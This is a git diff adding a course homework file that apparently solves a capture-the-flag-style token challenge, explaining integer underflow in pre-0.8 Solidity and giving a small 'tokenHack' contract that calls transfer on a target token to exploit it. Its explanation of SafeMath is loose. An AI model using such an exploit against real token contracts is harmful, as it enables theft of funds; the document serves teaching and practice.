diff --git a/session-5-assignments/tokenHW b/session-5-assignments/tokenHW new file mode 100644 index 0000000..f22ef63 --- /dev/null +++ b/session-5-assignments/tokenHW @@ -0,0 +1,20 @@ +// we are exploiting SafeMath for solidity 0.6. Underflows and overflows. +In solidity 0.6 SafeMath was not enabled, which means we wil be able to perform underflows and overflows without a problem. + +ex: If we have a balance of zero and then we put in a value of lets say 1. (0 - 1) will underflow. + + + +pragma solidity ^0.8.0; + +interface IToken { + function transfer(address to, uint256 value) external returns (bool); + function balanceOf(address) external view returns (uint256); + +} + +contract tokenHack { + constructor(address _tokenContract) { + IToken(_tokenContract).transfer(msg.sender, 1); + } +}